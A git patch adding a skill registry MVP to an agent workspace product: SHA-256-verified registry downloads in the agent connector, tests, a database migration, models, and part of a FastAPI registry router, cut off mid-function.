From f75c442ca67bdd5942e733379eb606e41b9c0be2 Mon Sep 17 00:00:00 2001 From: Quan Cheng Date: Thu, 6 Aug 2026 18:36:26 +0800 Subject: [PATCH 1/5] feat add compact skill registry MVP --- packages/agent-connector/src/adapters/base.js | 29 +- .../agent-connector/src/workspace-client.js | 13 +- .../test/skill-installer.test.js | 62 +++ .../versions/030_add_skill_registry_mvp.py | 186 ++++++++ workspace/backend/app/main.py | 3 +- workspace/backend/app/models.py | 168 +++++++ workspace/backend/app/routers/registry.py | 420 ++++++++++++++++++ workspace/backend/app/routers/workspaces.py | 254 ++++++++++- workspace/backend/app/skill_registry.py | 240 ++++++++++ workspace/backend/app/storage.py | 31 ++ .../backend/tests/test_skill_registry.py | 197 ++++++++ .../components/skills/skills-view.tsx | 215 ++++++++- workspace/frontend/lib/api.ts | 59 ++- workspace/frontend/lib/i18n/messages/en-US.ts | 9 + workspace/frontend/lib/i18n/messages/zh-CN.ts | 9 + workspace/frontend/lib/types.ts | 42 ++ 16 files changed, 1907 insertions(+), 30 deletions(-) create mode 100644 workspace/backend/alembic/versions/030_add_skill_registry_mvp.py create mode 100644 workspace/backend/app/routers/registry.py create mode 100644 workspace/backend/app/skill_registry.py create mode 100644 workspace/backend/tests/test_skill_registry.py diff --git a/packages/agent-connector/src/adapters/base.js b/packages/agent-connector/src/adapters/base.js index 8d931a3bb..427402c96 100644 --- a/packages/agent-connector/src/adapters/base.js +++ b/packages/agent-connector/src/adapters/base.js @@ -17,6 +17,7 @@ 'use strict'; +const crypto = require('crypto'); const { WorkspaceClient, SessionRevokedError } = require('../workspace-client'); const { generateSessionTitle, SESSION_DEFAULT_RE } = require('./utils'); const { defaultAgentWorkdir } = require('../paths'); @@ -353,6 +354,8 @@ class BaseAdapter { const installer = require('../skill-installer'); const skill = (payload && payload.skill) || null; const skillId = skill && (skill.id || skill.skill_id); + const reportSkillId = skill && (skill.registry_skill_id || skill.registrySkillId) || skillId; + const versionId = skill && (skill.version_id || skill.versionId); if (!skillId) { this._log('skill.install: missing skill metadata in payload — ignoring'); return; @@ -363,7 +366,7 @@ class BaseAdapter { // initial DB write from the request hasn't propagated to this client. try { await this.client.reportSkillStatus(this.workspaceId, this.agentName, this.token, { - skillId, state: 'installing', + skillId: reportSkillId, state: 'installing', versionId, }); } catch (e) { this._log(`skill.install: could not report 'installing' (non-fatal): ${e && e.message ? e.message : e}`); @@ -387,6 +390,22 @@ class BaseAdapter { workingDir: this.workingDir, log: (m) => this._log(`skill.install: ${m}`), }); + } else if (sourceType === 'registry') { + if (!versionId) throw new Error('registry skill is missing version_id'); + this._log(`skill.install: downloading registry version ${versionId}`); + const buffer = await this.client.readRegistryVersion(versionId, this.token); + if (!buffer || buffer.length === 0) throw new Error('registry artifact is empty'); + const expected = skill.content_sha256 || skill.contentSha256; + const actual = crypto.createHash('sha256').update(buffer).digest('hex'); + if (!expected || actual !== expected) { + throw new Error(`registry artifact sha256 mismatch (expected ${expected || 'missing'}, got ${actual})`); + } + result = installer.installUploadedSkill({ + skill, buffer, + agentType: this.agentType, + workingDir: this.workingDir, + log: (m) => this._log(`skill.install: ${m}`), + }); } else { result = installer.installSkill({ skill, @@ -397,7 +416,8 @@ class BaseAdapter { } try { await this.client.reportSkillStatus(this.workspaceId, this.agentName, this.token, { - skillId, state: 'installed', path: result.path, partial: result.partial === true, + skillId: reportSkillId, state: 'installed', path: result.path, + partial: result.partial === true, versionId, }); } catch (e) { this._log(`skill.install: installed on disk but failed to report 'installed': ${e && e.message ? e.message : e}`); @@ -409,7 +429,7 @@ class BaseAdapter { this._log(`skill.install: FAILED "${skillId}": ${msg}`); try { await this.client.reportSkillStatus(this.workspaceId, this.agentName, this.token, { - skillId, state: 'failed', error: msg, + skillId: reportSkillId, state: 'failed', error: msg, versionId, }); } catch (e2) { this._log(`skill.install: also failed to report 'failed': ${e2 && e2.message ? e2.message : e2}`); @@ -424,6 +444,7 @@ class BaseAdapter { const installer = require('../skill-installer'); const skill = (payload && payload.skill) || null; const skillId = skill && (skill.id || skill.skill_id); + const reportSkillId = skill && (skill.registry_skill_id || skill.registrySkillId) || skillId; if (!skillId) { this._log('skill.uninstall: missing skill metadata in payload — ignoring'); return; @@ -438,7 +459,7 @@ class BaseAdapter { this._log(`skill.uninstall: "${skillId}" removed=${result.removed}`); try { await this.client.reportSkillStatus(this.workspaceId, this.agentName, this.token, { - skillId, state: 'uninstalled', + skillId: reportSkillId, state: 'uninstalled', }); } catch (e) { this._log(`skill.uninstall: failed to report status: ${e && e.message ? e.message : e}`); diff --git a/packages/agent-connector/src/workspace-client.js b/packages/agent-connector/src/workspace-client.js index 772e36255..8e23e6fb1 100644 --- a/packages/agent-connector/src/workspace-client.js +++ b/packages/agent-connector/src/workspace-client.js @@ -360,11 +360,12 @@ class WorkspaceClient { * Skill Hub UI can render installing / installed / failed states. Best * effort — returns the updated payload or throws (caller decides). */ - async reportSkillStatus(workspaceId, agentName, token, { skillId, state, path: installPath, error, partial } = {}) { + async reportSkillStatus(workspaceId, agentName, token, { skillId, state, path: installPath, error, partial, versionId } = {}) { const body = { skill_id: skillId, state }; if (installPath) body.path = installPath; if (error) body.error = String(error).slice(0, 2000); if (partial) body.partial = true; + if (versionId) body.version_id = versionId; const data = await this._post( `/v1/workspaces/${workspaceId}/members/${encodeURIComponent(agentName)}/skills/status`, body, @@ -533,6 +534,16 @@ class WorkspaceClient { return this._getRaw(`/v1/files/${fileId}?${params}`, this._wsHeaders(token), 60000); } + /** Download an immutable public registry version. */ + async readRegistryVersion(versionId, token) { + if (!versionId) throw new Error('registry version id is required'); + return this._getRaw( + `/v1/registry/versions/${encodeURIComponent(versionId)}/download`, + this._wsHeaders(token), + 60000, + ); + } + /** * Delete a file via DELETE /v1/files/{fileId}. */ diff --git a/packages/agent-connector/test/skill-installer.test.js b/packages/agent-connector/test/skill-installer.test.js index 2bc4340ba..b25096346 100644 --- a/packages/agent-connector/test/skill-installer.test.js +++ b/packages/agent-connector/test/skill-installer.test.js @@ -6,6 +6,7 @@ const fs = require('node:fs'); const os = require('node:os'); const path = require('node:path'); const zlib = require('node:zlib'); +const crypto = require('node:crypto'); const installer = require('../src/skill-installer'); const BaseAdapter = require('../src/adapters/base'); @@ -449,6 +450,67 @@ describe('BaseAdapter skill.install — workspace_file (custom) skills', () => { }); }); +describe('BaseAdapter skill.install — public registry versions', () => { + let workDir; + beforeEach(() => { workDir = tmpWorkDir(); }); + afterEach(() => { try { fs.rmSync(workDir, { recursive: true, force: true }); } catch {} }); + + it('downloads the pinned immutable version, verifies sha256, and reports the registry id', async () => { + const content = Buffer.from(SKILL_MD, 'utf8'); + const sha256 = crypto.createHash('sha256').update(content).digest('hex'); + const adapter = new BaseAdapter({ + workspaceId: 'ws', channelName: 'c', token: 't', agentName: 'codex', + agentType: 'codex', workingDir: workDir, + }); + const client = fakeClient(); + client.readRegistryVersion = async (versionId) => { + assert.equal(versionId, 'version-1'); + return content; + }; + adapter.client = client; + + await adapter._onControlAction('skill.install', { + skill: { + id: 'release-notes-helper', + registry_skill_id: 'registry-uuid', + version_id: 'version-1', + source_type: 'registry', + package_type: 'md', + content_sha256: sha256, + }, + }); + + assert.deepEqual(client.calls.map((call) => call.state), ['installing', 'installed']); + assert.ok(client.calls.every((call) => call.skillId === 'registry-uuid')); + assert.ok(client.calls.every((call) => call.versionId === 'version-1')); + assert.equal( + fs.readFileSync(path.join(workDir, '.codex', 'skills', 'release-notes-helper', 'SKILL.md'), 'utf8'), + SKILL_MD, + ); + }); + + it('refuses a registry artifact whose bytes do not match the published digest', async () => { + const adapter = new BaseAdapter({ + workspaceId: 'ws', channelName: 'c', token: 't', agentName: 'cursor', + agentType: 'cursor', workingDir: workDir, + }); + const client = fakeClient(); + client.readRegistryVersion = async () => Buffer.from(SKILL_MD, 'utf8'); + adapter.client = client; + + await adapter._onControlAction('skill.install', { + skill: { + id: 'tampered', registry_skill_id: 'registry-uuid', version_id: 'version-2', + source_type: 'registry', package_type: 'md', content_sha256: '0'.repeat(64), + }, + }); + + assert.equal(client.calls.at(-1).state, 'failed'); + assert.match(client.calls.at(-1).error, /sha256 mismatch/); + assert.equal(fs.existsSync(path.join(workDir, '.cursor', 'skills', 'tampered')), false); + }); +}); + describe('uninstallSkill', () => { let workDir; beforeEach(() => { workDir = tmpWorkDir(); }); diff --git a/workspace/backend/alembic/versions/030_add_skill_registry_mvp.py b/workspace/backend/alembic/versions/030_add_skill_registry_mvp.py new file mode 100644 index 000000000..9942cd0d6 --- /dev/null +++ b/workspace/backend/alembic/versions/030_add_skill_registry_mvp.py @@ -0,0 +1,186 @@ +# -*- coding: utf-8 -*- +"""Add workspace skill authoring and public registry MVP tables. + +Revision ID: 030 +Revises: 029 +Create Date: 2026-08-06 +""" + +import sqlalchemy as sa +from alembic import op +from sqlalchemy.dialects.postgresql import JSONB, UUID + +revision = "030" +down_revision = "029" +branch_labels = None +depends_on = None + + +def upgrade() -> None: + bind = op.get_bind() + inspector = sa.inspect(bind) + tables = set(inspector.get_table_names()) + + if "workspace_skills" not in tables: + op.create_table( + "workspace_skills", + sa.Column("id", sa.Text(), primary_key=True), + sa.Column("workspace_id", UUID(as_uuid=False), sa.ForeignKey("workspaces.id", ondelete="CASCADE"), nullable=False), + sa.Column("slug", sa.Text(), nullable=False), + sa.Column("name", sa.Text(), nullable=False), + sa.Column("summary", sa.Text(), nullable=False, server_default=""), + sa.Column("category", sa.Text(), nullable=False, server_default="custom"), + sa.Column("tags", JSONB(), nullable=False, server_default=sa.text("'[]'::jsonb")), + sa.Column("created_by", sa.Text(), nullable=False), + sa.Column("latest_version_id", sa.Text(), nullable=True), + sa.Column("registry_skill_id", sa.Text(), nullable=True), + sa.Column("forked_from_version_id", sa.Text(), nullable=True), + sa.Column("status", sa.Text(), nullable=False, server_default="active"), + sa.Column("created_at", sa.DateTime(timezone=True), server_default=sa.text("NOW()")), + sa.Column("updated_at", sa.DateTime(timezone=True), server_default=sa.text("NOW()")), + sa.UniqueConstraint("workspace_id", "slug", name="uq_workspace_skills_slug"), + ) + op.create_index("idx_workspace_skills_workspace", "workspace_skills", ["workspace_id", "status"]) + + if "workspace_skill_versions" not in tables: + op.create_table( + "workspace_skill_versions", + sa.Column("id", sa.Text(), primary_key=True), + sa.Column("workspace_skill_id", sa.Text(), sa.ForeignKey("workspace_skills.id", ondelete="CASCADE"), nullable=False), + sa.Column("version_seq", sa.Integer(), nullable=False), + sa.Column("version", sa.Text(), nullable=False), + sa.Column("file_id", sa.Text(), sa.ForeignKey("files.id", ondelete="RESTRICT"), nullable=False), + sa.Column("package_type", sa.Text(), nullable=False), + sa.Column("content_sha256", sa.Text(), nullable=False), + sa.Column("frontmatter", JSONB(), nullable=False, server_default=sa.text("'{}'::jsonb")), + sa.Column("changelog", sa.Text(), nullable=False, server_default=""), + sa.Column("created_by", sa.Text(), nullable=False), + sa.Column("created_at", sa.DateTime(timezone=True), server_default=sa.text("NOW()")), + sa.UniqueConstraint("workspace_skill_id", "version_seq", name="uq_workspace_skill_version_seq"), + sa.UniqueConstraint("workspace_skill_id", "version", name="uq_workspace_skill_version"), + ) + op.create_index("idx_workspace_skill_versions_skill", "workspace_skill_versions", ["workspace_skill_id", "version_seq"]) + + if "skill_namespaces" not in tables: + op.create_table( + "skill_namespaces", + sa.Column("id", sa.Text(), primary_key=True), + sa.Column("slug", sa.Text(), nullable=False, unique=True), + sa.Column("type", sa.Text(), nullable=False), + sa.Column("owner_user_id", UUID(as_uuid=False), sa.ForeignKey("users.id", ondelete="SET NULL"), nullable=True), + sa.Column("display_name", sa.Text(), nullable=False), + sa.Column("source_url", sa.Text(), nullable=True), + sa.Column("verified_at", sa.DateTime(timezone=True), nullable=True), + sa.Column("status", sa.Text(), nullable=False, server_default="active"), + sa.Column("created_at", sa.DateTime(timezone=True), server_default=sa.text("NOW()")), + ) + + if "skill_artifacts" not in tables: + op.create_table( + "skill_artifacts", + sa.Column("id", sa.Text(), primary_key=True), + sa.Column("sha256", sa.Text(), nullable=False, unique=True), + sa.Column("storage_key", sa.Text(), nullable=False), + sa.Column("filename", sa.Text(), nullable=False), + sa.Column("package_type", sa.Text(), nullable=False), + sa.Column("size", sa.Integer(), nullable=False), + sa.Column("manifest", JSONB(), nullable=False, server_default=sa.text("'{}'::jsonb")), + sa.Column("scan_status", sa.Text(), nullable=False, server_default="passed"), + sa.Column("retention_state", sa.Text(), nullable=False, server_default="published"), + sa.Column("created_at", sa.DateTime(timezone=True), server_default=sa.text("NOW()")), + ) + + if "registry_skills" not in tables: + op.create_table( + "registry_skills", + sa.Column("id", sa.Text(), primary_key=True), + sa.Column("namespace_id", sa.Text(), sa.ForeignKey("skill_namespaces.id", ondelete="RESTRICT"), nullable=False), + sa.Column("slug", sa.Text(), nullable=False), + sa.Column("name", sa.Text(), nullable=False), + sa.Column("summary", sa.Text(), nullable=False, server_default=""), + sa.Column("category", sa.Text(), nullable=False, server_default="other"), + sa.Column("tags", JSONB(), nullable=False, server_default=sa.text("'[]'::jsonb")), + sa.Column("visibility", sa.Text(), nullable=False, server_default="public"), + sa.Column("status", sa.Text(), nullable=False, server_default="active"), + sa.Column("latest_published_version_id", sa.Text(), nullable=True), + sa.Column("forked_from_version_id", sa.Text(), nullable=True), + sa.Column("install_count", sa.Integer(), nullable=False, server_default="0"), + sa.Column("created_at", sa.DateTime(timezone=True), server_default=sa.text("NOW()")), + sa.Column("updated_at", sa.DateTime(timezone=True), server_default=sa.text("NOW()")), + sa.UniqueConstraint("namespace_id", "slug", name="uq_registry_skills_namespace_slug"), + ) + op.create_index("idx_registry_skills_visibility_status", "registry_skills", ["visibility", "status"]) + op.create_index("idx_registry_skills_category", "registry_skills", ["category"]) + + if "registry_skill_versions" not in tables: + op.create_table( + "registry_skill_versions", + sa.Column("id", sa.Text(), primary_key=True), + sa.Column("skill_id", sa.Text(), sa.ForeignKey("registry_skills.id", ondelete="CASCADE"), nullable=False), + sa.Column("version", sa.Text(), nullable=False), + sa.Column("version_seq", sa.Integer(), nullable=False), + sa.Column("status", sa.Text(), nullable=False, server_default="published"), + sa.Column("artifact_id", sa.Text(), sa.ForeignKey("skill_artifacts.id", ondelete="RESTRICT"), nullable=True), + sa.Column("source_mode", sa.Text(), nullable=False, server_default="mirrored"), + sa.Column("source_repo", sa.Text(), nullable=True), + sa.Column("source_path", sa.Text(), nullable=True), + sa.Column("source_commit", sa.Text(), nullable=True), + sa.Column("content_sha256", sa.Text(), nullable=True), + sa.Column("package_type", sa.Text(), nullable=False, server_default="md"), + sa.Column("frontmatter", JSONB(), nullable=False, server_default=sa.text("'{}'::jsonb")), + sa.Column("changelog", sa.Text(), nullable=False, server_default=""), + sa.Column("license_spdx", sa.Text(), nullable=False), + sa.Column("attribution_snapshot", JSONB(), nullable=False, server_default=sa.text("'{}'::jsonb")), + sa.Column("capabilities", JSONB(), nullable=False, server_default=sa.text("'{}'::jsonb")), + sa.Column("scan_result", JSONB(), nullable=False, server_default=sa.text("'{}'::jsonb")), + sa.Column("published_by_user_id", UUID(as_uuid=False), sa.ForeignKey("users.id", ondelete="SET NULL"), nullable=True), + sa.Column("created_at", sa.DateTime(timezone=True), server_default=sa.text("NOW()")), + sa.Column("published_at", sa.DateTime(timezone=True), server_default=sa.text("NOW()")), + sa.UniqueConstraint("skill_id", "version", name="uq_registry_skill_version"), + sa.UniqueConstraint("skill_id", "version_seq", name="uq_registry_skill_version_seq"), + ) + op.create_index("idx_registry_skill_versions_skill", "registry_skill_versions", ["skill_id", "version_seq"]) + + if "agent_skill_installations" not in tables: + op.create_table( + "agent_skill_installations", + sa.Column("workspace_id", UUID(as_uuid=False), sa.ForeignKey("workspaces.id", ondelete="CASCADE"), nullable=False), + sa.Column("agent_name", sa.Text(), nullable=False), + sa.Column("skill_id", sa.Text(), nullable=False), + sa.Column("version_id", sa.Text(), nullable=True), + sa.Column("state", sa.Text(), nullable=False), + sa.Column("install_path", sa.Text(), nullable=True), + sa.Column("error", sa.Text(), nullable=True), + sa.Column("installed_at", sa.DateTime(timezone=True), nullable=True), + sa.Column("updated_at", sa.DateTime(timezone=True), server_default=sa.text("NOW()")), + sa.PrimaryKeyConstraint("workspace_id", "agent_name", "skill_id"), + ) + op.create_index("idx_agent_skill_installations_skill", "agent_skill_installations", ["skill_id", "state"]) + + # Existing JSONB custom skills are converted lazily on first list/install; + # the app must read the original map until each record has a content hash. + + +def downgrade() -> None: + for index_name, table_name in ( + ("idx_agent_skill_installations_skill", "agent_skill_installations"), + ("idx_registry_skill_versions_skill", "registry_skill_versions"), + ("idx_registry_skills_category", "registry_skills"), + ("idx_registry_skills_visibility_status", "registry_skills"), + ("idx_workspace_skill_versions_skill", "workspace_skill_versions"), + ("idx_workspace_skills_workspace", "workspace_skills"), + ): + try: + op.drop_index(index_name, table_name=table_name) + except Exception: + pass + for table in ( + "agent_skill_installations", + "registry_skill_versions", + "registry_skills", + "skill_artifacts", + "skill_namespaces", + "workspace_skill_versions", + "workspace_skills", + ): + op.drop_table(table) diff --git a/workspace/backend/app/main.py b/workspace/backend/app/main.py index f2e1e30f5..0f95de9fc 100644 --- a/workspace/backend/app/main.py +++ b/workspace/backend/app/main.py @@ -17,7 +17,7 @@ from starlette.middleware.base import BaseHTTPMiddleware from app.config import config -from app.routers import account, browser, cloud_agents, devices, events, fetch, files, knowledge, network, notifications, routines, search, shares, tasks, timers, todos, workspaces +from app.routers import account, browser, cloud_agents, devices, events, fetch, files, knowledge, network, notifications, registry, routines, search, shares, tasks, timers, todos, workspaces logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) @@ -506,6 +506,7 @@ async def _log_validation_errors(request: Request, exc: RequestValidationError): app.include_router(knowledge.router) app.include_router(network.router) app.include_router(notifications.router) +app.include_router(registry.router) app.include_router(routines.router) app.include_router(search.router) app.include_router(shares.router) diff --git a/workspace/backend/app/models.py b/workspace/backend/app/models.py index 689dedd88..e331c29bb 100644 --- a/workspace/backend/app/models.py +++ b/workspace/backend/app/models.py @@ -690,6 +690,174 @@ class ShareSnapshot(Base): ) +# --------------------------------------------------------------------------- +# Skill authoring + public registry (MVP) +# --------------------------------------------------------------------------- + +class WorkspaceSkill(Base): + """A workspace-private, editable skill identity. + + Public registry records are immutable distribution snapshots and live in + separate tables below. Keeping authoring separate lets self-hosted + workspaces retain private skills without pretending they have an official + registry user identity. + """ + __tablename__ = "workspace_skills" + + id = Column(Text, primary_key=True, default=_uuid) + workspace_id = Column(UUID(as_uuid=False), ForeignKey("workspaces.id", ondelete="CASCADE"), nullable=False) + slug = Column(Text, nullable=False) + name = Column(Text, nullable=False) + summary = Column(Text, nullable=False, default="", server_default=text("''")) + category = Column(Text, nullable=False, default="custom", server_default=text("'custom'")) + tags = Column(JSONB, nullable=False, default=list, server_default=text("'[]'")) + created_by = Column(Text, nullable=False) + latest_version_id = Column(Text, nullable=True) + registry_skill_id = Column(Text, nullable=True) + forked_from_version_id = Column(Text, nullable=True) + status = Column(Text, nullable=False, default="active", server_default=text("'active'")) + created_at = Column(DateTime(timezone=True), default=_now, server_default=text("NOW()")) + updated_at = Column(DateTime(timezone=True), default=_now, server_default=text("NOW()")) + + __table_args__ = ( + UniqueConstraint("workspace_id", "slug", name="uq_workspace_skills_slug"), + Index("idx_workspace_skills_workspace", "workspace_id", "status"), + ) + + +class WorkspaceSkillVersion(Base): + """A private skill version backed by an ordinary workspace FileRecord.""" + __tablename__ = "workspace_skill_versions" + + id = Column(Text, primary_key=True, default=_uuid) + workspace_skill_id = Column(Text, ForeignKey("workspace_skills.id", ondelete="CASCADE"), nullable=False) + version_seq = Column(Integer, nullable=False) + version = Column(Text, nullable=False) + file_id = Column(Text, ForeignKey("files.id", ondelete="RESTRICT"), nullable=False) + package_type = Column(Text, nullable=False) + content_sha256 = Column(Text, nullable=False) + frontmatter = Column(JSONB, nullable=False, default=dict, server_default=text("'{}'")) + changelog = Column(Text, nullable=False, default="", server_default=text("''")) + created_by = Column(Text, nullable=False) + created_at = Column(DateTime(timezone=True), default=_now, server_default=text("NOW()")) + + __table_args__ = ( + UniqueConstraint("workspace_skill_id", "version_seq", name="uq_workspace_skill_version_seq"), + UniqueConstraint("workspace_skill_id", "version", name="uq_workspace_skill_version"), + Index("idx_workspace_skill_versions_skill", "workspace_skill_id", "version_seq"), + ) + + +class SkillNamespace(Base): + """Publisher namespace for users, first-party, or external upstreams.""" + __tablename__ = "skill_namespaces" + + id = Column(Text, primary_key=True, default=_uuid) + slug = Column(Text, nullable=False, unique=True) + type = Column(Text, nullable=False) # user | official | external + owner_user_id = Column(UUID(as_uuid=False), ForeignKey("users.id", ondelete="SET NULL"), nullable=True) + display_name = Column(Text, nullable=False) + source_url = Column(Text, nullable=True) + verified_at = Column(DateTime(timezone=True), nullable=True) + status = Column(Text, nullable=False, default="active", server_default=text("'active'")) + created_at = Column(DateTime(timezone=True), default=_now, server_default=text("NOW()")) + + +class SkillArtifact(Base): + """Content-addressed immutable package stored outside workspace files.""" + __tablename__ = "skill_artifacts" + + id = Column(Text, primary_key=True, default=_uuid) + sha256 = Column(Text, nullable=False, unique=True) + storage_key = Column(Text, nullable=False) + filename = Column(Text, nullable=False) + package_type = Column(Text, nullable=False) + size = Column(Integer, nullable=False) + manifest = Column(JSONB, nullable=False, default=dict, server_default=text("'{}'")) + scan_status = Column(Text, nullable=False, default="passed", server_default=text("'passed'")) + retention_state = Column(Text, nullable=False, default="published", server_default=text("'published'")) + created_at = Column(DateTime(timezone=True), default=_now, server_default=text("NOW()")) + + +class RegistrySkill(Base): + """A globally searchable public skill identity.""" + __tablename__ = "registry_skills" + + id = Column(Text, primary_key=True, default=_uuid) + namespace_id = Column(Text, ForeignKey("skill_namespaces.id", ondelete="RESTRICT"), nullable=False) + slug = Column(Text, nullable=False) + name = Column(Text, nullable=False) + summary = Column(Text, nullable=False, default="", server_default=text("''")) + category = Column(Text, nullable=False, default="other", server_default=text("'other'")) + tags = Column(JSONB, nullable=False, default=list, server_default=text("'[]'")) + visibility = Column(Text, nullable=False, default="public", server_default=text("'public'")) + status = Column(Text, nullable=False, default="active", server_default=text("'active'")) + latest_published_version_id = Column(Text, nullable=True) + forked_from_version_id = Column(Text, nullable=True) + install_count = Column(Integer, nullable=False, default=0, server_default=text("0")) + created_at = Column(DateTime(timezone=True), default=_now, server_default=text("NOW()")) + updated_at = Column(DateTime(timezone=True), default=_now, server_default=text("NOW()")) + + __table_args__ = ( + UniqueConstraint("namespace_id", "slug", name="uq_registry_skills_namespace_slug"), + Index("idx_registry_skills_visibility_status", "visibility", "status"), + Index("idx_registry_skills_category", "category"), + ) + + +class RegistrySkillVersion(Base): + """An immutable published registry version or pinned upstream pointer.""" + __tablename__ = "registry_skill_versions" + + id = Column(Text, primary_key=True, default=_uuid) + skill_id = Column(Text, ForeignKey("registry_skills.id", ondelete="CASCADE"), nullable=False) + version = Column(Text, nullable=False) + version_seq = Column(Integer, nullable=False) + status = Column(Text, nullable=False, default="published", server_default=text("'published'")) + artifact_id = Column(Text, ForeignKey("skill_artifacts.id", ondelete="RESTRICT"), nullable=True) + source_mode = Column(Text, nullable=False, default="mirrored", server_default=text("'mirrored'")) + source_repo = Column(Text, nullable=True) + source_path = Column(Text, nullable=True) + source_commit = Column(Text, nullable=True) + content_sha256 = Column(Text, nullable=True) + package_type = Column(Text, nullable=False, default="md", server_default=text("'md'")) + frontmatter = Column(JSONB, nullable=False, default=dict, server_default=text("'{}'")) + changelog = Column(Text, nullable=False, default="", server_default=text("''")) + license_spdx = Column(Text, nullable=False) + attribution_snapshot = Column(JSONB, nullable=False, default=dict, server_default=text("'{}'")) + capabilities = Column(JSONB, nullable=False, default=dict, server_default=text("'{}'")) + scan_result = Column(JSONB, nullable=False, default=dict, server_default=text("'{}'")) + published_by_user_id = Column(UUID(as_uuid=False), ForeignKey("users.id", ondelete="SET NULL"), nullable=True) + created_at = Column(DateTime(timezone=True), default=_now, server_default=text("NOW()")) + published_at = Column(DateTime(timezone=True), default=_now, server_default=text("NOW()")) + + __table_args__ = ( + UniqueConstraint("skill_id", "version", name="uq_registry_skill_version"), + UniqueConstraint("skill_id", "version_seq", name="uq_registry_skill_version_seq"), + Index("idx_registry_skill_versions_skill", "skill_id", "version_seq"), + ) + + +class AgentSkillInstallation(Base): + """Current per-agent installation state, separate from analytics events.""" + __tablename__ = "agent_skill_installations" + + workspace_id = Column(UUID(as_uuid=False), ForeignKey("workspaces.id", ondelete="CASCADE"), nullable=False) + agent_name = Column(Text, nullable=False) + skill_id = Column(Text, nullable=False) + version_id = Column(Text, nullable=True) + state = Column(Text, nullable=False) + install_path = Column(Text, nullable=True) + error = Column(Text, nullable=True) + installed_at = Column(DateTime(timezone=True), nullable=True) + updated_at = Column(DateTime(timezone=True), default=_now, server_default=text("NOW()")) + + __table_args__ = ( + PrimaryKeyConstraint("workspace_id", "agent_name", "skill_id"), + Index("idx_agent_skill_installations_skill", "skill_id", "state"), + ) + + # Standalone agent table (used when IDENTITY_MODE=standalone) class Agent(Base): """Local agent identity (standalone mode only).""" diff --git a/workspace/backend/app/routers/registry.py b/workspace/backend/app/routers/registry.py new file mode 100644 index 000000000..588954082 --- /dev/null +++ b/workspace/backend/app/routers/registry.py @@ -0,0 +1,420 @@ +# -*- coding: utf-8 -*- +"""Public Skill Registry and workspace publish/fork endpoints (MVP).""" + +import hashlib +import os +import re +import uuid +from datetime import datetime, timezone +from typing import Optional + +from fastapi import APIRouter, Depends, Header, Query +from fastapi.responses import Response +from pydantic import BaseModel +from sqlalchemy import Text, cast, func, or_, select +from sqlalchemy.orm import Session + +from app.access import resolve_current_user, verify_workspace_access +from app.database import get_db +from app.models import ( + FileRecord, + RegistrySkill, + RegistrySkillVersion, + SkillArtifact, + SkillNamespace, + Workspace, + WorkspaceSkill, + WorkspaceSkillVersion, +) +from app.response import ResponseCode, json_response, success_response +from app.skill_registry import ( + PUBLIC_LICENSES, + create_workspace_version, + ensure_builtin_registry, + materialize_legacy_workspace_skills, + scan_public_markdown, + slugify, +) +from app.storage import get_file_store + +router = APIRouter(prefix="/v1", tags=["Skill Registry"]) + + +class PublishRequest(BaseModel): + license_spdx: str = "MIT" + version: Optional[str] = None + changelog: str = "Initial public release" + + +class ForkRequest(BaseModel): + workspace_id: str + version_id: Optional[str] = None + slug: Optional[str] = None + name: Optional[str] = None + + +def _version_payload(version: Optional[RegistrySkillVersion]) -> Optional[dict]: + if version is None: + return None + return { + "id": version.id, + "version": version.version, + "versionSeq": version.version_seq, + "status": version.status, + "sourceMode": version.source_mode, + "sourceRepo": version.source_repo, + "sourcePath": version.source_path, + "contentSha256": version.content_sha256, + "packageType": version.package_type, + "license": version.license_spdx, + "attribution": version.attribution_snapshot or {}, + "capabilities": version.capabilities or {}, + "scanResult": version.scan_result or {}, + "changelog": version.changelog, + "publishedAt": version.published_at.isoformat() if version.published_at else None, + } + + +def _skill_payload(skill: RegistrySkill, namespace: SkillNamespace, version: Optional[RegistrySkillVersion]) -> dict: + return { + "id": skill.id, + "slug": skill.slug, + "namespace": namespace.slug, + "namespaceName": namespace.display_name, + "name": skill.name, + "summary": skill.summary, + "description": skill.summary, + "category": skill.category, + "tags": skill.tags or [], + "visibility": skill.visibility, + "status": skill.status, + "forkedFromVersionId": skill.forked_from_version_id, + "installCount": skill.install_count, + "latestVersion": _version_payload(version), + "createdAt": skill.created_at.isoformat() if skill.created_at else None, + } + + +def _get_public_version(db: Session, skill: RegistrySkill, version_id: Optional[str] = None) -> Optional[RegistrySkillVersion]: + target = version_id or skill.latest_published_version_id + if not target: + return None + return db.execute( + select(RegistrySkillVersion).where( + RegistrySkillVersion.id == target, + RegistrySkillVersion.skill_id == skill.id, + RegistrySkillVersion.status == "published", + ) + ).scalar_one_or_none() + + +@router.get("/registry/skills") +def search_registry_skills( + q: str = Query("", max_length=200), + category: Optional[str] = Query(None), + limit: int = Query(50, ge=1, le=100), + offset: int = Query(0, ge=0), + db: Session = Depends(get_db), +): + ensure_builtin_registry(db) + query = ( + select(RegistrySkill, SkillNamespace, RegistrySkillVersion) + .join(SkillNamespace, SkillNamespace.id == RegistrySkill.namespace_id) + .outerjoin(RegistrySkillVersion, RegistrySkillVersion.id == RegistrySkill.latest_published_version_id) + .where(RegistrySkill.visibility == "public", RegistrySkill.status == "active") + ) + if category: + query = query.where(RegistrySkill.category == category) + term = q.strip().lower() + if term: + pattern = f"%{term}%" + query = query.where(or_( + func.lower(RegistrySkill.name).like(pattern), + func.lower(RegistrySkill.slug).like(pattern), + func.lower(RegistrySkill.summary).like(pattern), + func.lower(SkillNamespace.display_name).like(pattern), + cast(RegistrySkill.tags, Text).ilike(pattern), + )) + rows = db.execute( + query.order_by(RegistrySkill.install_count.desc(), RegistrySkill.created_at.desc()) + .offset(offset).limit(limit) + ).all() + return success_response({ + "skills": [_skill_payload(skill, namespace, version) for skill, namespace, version in rows], + "offset": offset, + "limit": limit, + }) + + +@router.get("/registry/skills/{namespace_slug}/{skill_slug}") +def get_registry_skill(namespace_slug: str, skill_slug: str, db: Session = Depends(get_db)): + ensure_builtin_registry(db) + row = db.execute( + select(RegistrySkill, SkillNamespace) + .join(SkillNamespace, SkillNamespace.id == RegistrySkill.namespace_id) + .where( + SkillNamespace.slug == namespace_slug, + RegistrySkill.slug == skill_slug, + RegistrySkill.visibility == "public", + RegistrySkill.status == "active", + ) + ).first() + if not row: + return json_response(ResponseCode.NOT_FOUND, "Skill not found") + skill, namespace = row + versions = db.execute( + select(RegistrySkillVersion) + .where(RegistrySkillVersion.skill_id == skill.id, RegistrySkillVersion.status.in_(["published", "yanked"])) + .order_by(RegistrySkillVersion.version_seq.desc()) + 